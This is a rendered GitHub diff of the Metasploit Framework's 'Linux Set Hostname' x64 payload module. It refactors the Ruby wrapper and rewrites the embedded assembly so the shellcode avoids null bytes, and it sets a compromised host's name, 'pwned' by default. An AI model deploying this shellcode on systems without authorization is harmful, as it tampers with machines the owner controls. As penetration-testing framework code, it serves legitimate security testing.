3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
- module MetasploitModule
6
+ module MetasploitModule
7
+ CachedSize = 33
7
8
8
- CachedSize = 28
9
-
10
9
include Msf ::Payload ::Single
11
10
include Msf ::Payload ::Linux
12
11
13
12
def initialize ( info = { } )
14
- super ( update_info ( info ,
15
- 'Name' => 'Linux Set Hostname' ,
16
- 'Description' => 'Sets the hostname of the machine.' ,
17
- 'Author' => 'Muzaffer Umut ŞAHİN <[email protected] >' ,
18
- 'License' => MSF_LICENSE ,
19
- 'Platform' => 'linux' ,
20
- 'Arch' => ARCH_X64 ,
21
- 'Privileged' => true
22
- ) )
13
+ super (
14
+ update_info (
15
+ info ,
16
+ 'Name' => 'Linux Set Hostname' ,
17
+ 'Description' => 'Sets the hostname of the machine.' ,
18
+ 'Author' => 'Muzaffer Umut ŞAHİN <[email protected] >' ,
19
+ 'License' => MSF_LICENSE ,
20
+ 'Platform' => 'linux' ,
21
+ 'Arch' => ARCH_X64 ,
22
+ 'Privileged' => true
23
+ )
24
+ )
23
25
24
26
register_options (
25
27
[
26
- OptString . new ( 'HOSTNAME' , [ true , 'The hostname to set.' , 'pwned' ] )
27
- ] )
28
+ OptString . new ( 'HOSTNAME' , [ true , 'The hostname to set.' , 'pwned' ] )
29
+ ]
30
+ )
28
31
end
29
32
30
33
def generate ( _opts = { } )
31
34
hostname = ( datastore [ 'HOSTNAME' ] || 'pwned' ) . gsub ( /\s +/ , '' ) # remove all whitespace from hostname.
32
35
length = hostname . length
33
36
if length > 0xff
34
- fail_with ( Msf ::Module ::Failure ::BadConfig , " HOSTNAME must be less than 255 characters." )
37
+ fail_with ( Msf ::Module ::Failure ::BadConfig , ' HOSTNAME must be less than 255 characters.' )
35
38
end
36
39
37
- payload = %Q^
38
- xor rax, rax
39
- xor rsi, rsi
40
- push rax ; push the null byte of the hostname string to stack.
41
- mov al, 170 ; sethostname() syscall number.
40
+ payload = %^
41
+ push 0xffffffffffffff56 ; sethostname() syscall number.
42
+ pop rax
43
+ neg rax
42
44
jmp str
43
45
44
46
end:
45
- mov sil, #{ length }
47
+ push #{ length }
48
+ pop rsi
46
49
pop rdi ; rdi points to the hostname string.
50
+ xor byte [rdi+rsi], 0x41
47
51
syscall
48
52
ret ; break the loop by causing segfault.
49
53
50
54
str:
51
55
call end
52
- db "#{ hostname } "
56
+ db "#{ hostname } A "
53
57
^
54
58
55
- Metasm ::Shellcode . assemble ( Metasm ::X64 . new , payload ) . encode_string
59
+ Metasm ::Shellcode . assemble ( Metasm ::X64 . new , payload ) . encode_string
56
60
end
57
- end
61
+ end
0 commit comments